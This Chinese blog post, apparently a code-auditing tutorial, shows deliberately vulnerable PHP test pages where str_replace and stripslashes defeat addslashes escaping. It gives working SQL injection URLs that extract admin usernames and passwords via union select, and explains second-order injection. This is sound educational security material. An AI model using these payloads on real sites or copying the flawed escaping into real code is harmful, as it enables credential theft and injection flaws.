影风博客

代码审计的艺术系列 第三篇

2019-03-23

0x01 前言

接白帽子分享之代码审计的艺术系列 第二篇,这里讲一些函数的错误使用会引发SQL注入的场景以及二次注入漏洞产生的原因。如果没看之前的内容,建议先看看前两篇。

0x02 准备

知识储备:php基础、MySQL入门

工具:notepad++

服务器环境:wamp

测试代码:见文中

0x03 全局防护Bypass中篇的脑图

0x04 一些函数的错误使用导致SQL注入

一些常用函数像str_replacestripslashes的错误使用会导致绕过addslashes函数的全局防护,首先来看str_replace函数,有时写程序会使用str_replace函数将参数中的单引号、括号等字符替换为空,使用不当就会引发注入问题。缺陷代码如下:

streplace.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$title = isset($_GET['title']) ? $_GET['title'] : 'news title';
$id = str_replace("'",'',$tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}' and title='{$title}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

浏览器输入:

http://localhost/sqltest/streplace.php?id=1'&title=news title

发现报错了,我们直接打印出执行的sql语句如下图:

发现参数id右边的单引号被反斜杠转义成字符了,说明又可以注入了。

简单分析下上面id参数的执行过程,-1'经过addslashes函数转义后变成了-1\',然后再经过str_replace函数干掉了单引号变成了-1\,最后带入查询的语句才是下面这样:

SELECT * FROM news WHERE id='1\'and title='news title'

反斜杠转义了sql查询语句里id后面那个单引号,导致title参数可以构造sql注入语句了,我们直接构造获取管理员账户密码的语句:

http://localhost/sqltest/streplace.php?id=-1'&title=union select 1,2,concat(name,0x23,pass) from admin%23

实际执行的SQL语句:

SELECT * FROM news WHERE id='-1\' and title='union select 1,2,concat(name,0x23,pass) from admin#'

接下来我们再看下stripslashes函数,这个函数的定义是删除由addslashes()函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:

stripslashes.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

浏览器输入http://localhost/sqltest/stripslashes.php?id=-1',发现报错了,echo出执行的sql语句如下图:

分析下参数id的执行过程,-1'经过addslashes函数转义后变成了-1\',然后再经过stripslashes函数干掉了反斜杠变成了-1',所以又可以愉快的注入了。
获取管理员账户密码的语句:

http://localhost/sqltest/stripslashes.php?id=-1' union select 1,2,concat(name,0x23,pass) from admin%23

实际执行的SQL语句:

SELECT * FROM news WHERE id='-1' union select 1,2,concat(name,0x23,pass) from admin#'

0x05 二次注入产生的原因

二次注入也是一种很常见的sql注入,它涉及到入库和出库。假如我们注册了一个网站,填写个人资料后保存时数据库里执行类似insert into test values(1,'braid','18','run')这种sql语句,代表我向数据库表test里插入昵称为braid,年龄18岁,爱好是run的一个操作。接下来看下单引号在这条语句执行过程和mysql中的变化:

假如昵称引入一个单引号为braid',那么经过转义后入库的语句为insert into test values(1,'braid\'','18','run'),然后我们看下mysql执行这条语句后数据库里内容变化:

我们执行一条查询语句后发现braid\'入库后变成了braid',转义字符消失,所以在一些页面输出昵称的地方又可以构造注入语句获取管理员账户密码了~

使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章